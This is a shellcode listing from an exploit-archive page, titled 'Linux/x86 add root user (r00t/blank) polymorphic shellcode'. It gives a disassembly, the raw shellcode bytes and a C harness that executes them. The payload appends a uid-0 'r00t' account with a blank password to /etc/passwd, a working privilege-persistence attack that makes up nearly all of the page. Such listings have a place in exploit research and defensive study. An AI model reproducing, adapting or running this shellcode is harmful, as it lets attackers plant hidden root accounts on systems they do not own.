Linux/x86 add root user (r00t/blank) + polymorphic shellcode (103 bytes) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-09-14 | Type : shellcode | Platform : linux_x86

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[+] Code ...

/*
# Shellcode Title: Linux/x86 - Add User(r00t/blank) Polymorphic Shellcode (103 bytes)
# Date: 2018-09-13
# Author: Ray Doyle (@doylersec)
# Homepage: https://www.doyler.net
# Tested on: Linux/x86
# gcc -o poly_adduser_shellcode -z execstack -fno-stack-protector poly_adduser_shellcode.c
*/

/****************************************************
Disassembly of section .text:

08048060 <_start>:
8048060: 90 nop
8048061: 58 pop eax
8048062: 29 db sub ebx,ebx
8048064: 31 c9 xor ecx,ecx
8048066: 66 b9 01 04 mov cx,0x401
804806a: 51 push ecx
804806b: 5f pop edi
804806c: 53 push ebx
804806d: 6a 06 push 0x6
804806f: 58 pop eax
8048070: 48 dec eax
8048071: 68 2f 2f 70 61 push 0x61702f2f
8048076: 68 37 13 37 13 push 0x13371337
804807b: 68 73 73 77 64 push 0x64777373
8048080: 68 2f 65 74 63 push 0x6374652f
8048085: 5a pop edx
8048086: 5e pop esi
8048087: 5f pop edi
8048088: 5f pop edi
8048089: 56 push esi
804808a: 57 push edi
804808b: 52 push edx
804808c: 89 e3 mov ebx,esp
804808e: cd 80 int 0x80
8048090: 50 push eax
8048091: 5a pop edx
8048092: 92 xchg edx,eax
8048093: 89 c3 mov ebx,eax
8048095: 6a 05 push 0x5
8048097: 31 d2 xor edx,edx
8048099: 87 db xchg ebx,ebx
804809b: 6a 0c push 0xc
804809d: 58 pop eax
804809e: 5a pop edx
804809f: 92 xchg edx,eax
80480a0: 52 push edx
80480a1: 90 nop
80480a2: 68 30 3a 3a 3a push 0x3a3a3a30
80480a7: 56 push esi
80480a8: 5e pop esi
80480a9: 68 3a 3a 30 3a push 0x3a303a3a
80480ae: 68 72 30 30 74 push 0x74303072
80480b3: 48 dec eax
80480b4: 89 e1 mov ecx,esp
80480b6: 6a 01 push 0x1
80480b8: cd 80 int 0x80
80480ba: 6a 04 push 0x4
80480bc: 58 pop eax
80480bd: 83 c0 02 add eax,0x2
80480c0: cd 80 int 0x80
80480c2: 31 c0 xor eax,eax
80480c4: 40 inc eax
80480c5: cd 80 int 0x80
****************************************************/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x90\x58\x29\xdb\x31\xc9\x66\xb9\x01\x04\x51\x5f\x53\x6a\x06\x58\x48\x68\x2f\x2f\x70\x61\x68\x37\x13\x37\x13\x68\x73\x73\x77\x64\x68\x2f\x65\x74\x63\x5a\x5e\x5f\x5f\x56\x57\x52\x89\xe3\xcd\x80\x50\x5a\x92\x89\xc3\x6a\x05\x31\xd2\x87\xdb\x6a\x0c\x58\x5a\x92\x52\x90\x68\x30\x3a\x3a\x3a\x56\x5e\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74\x48\x89\xe1\x6a\x01\xcd\x80\x6a\x04\x58\x83\xc0\x02\xcd\x80\x31\xc0\x40\xcd\x80";

main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}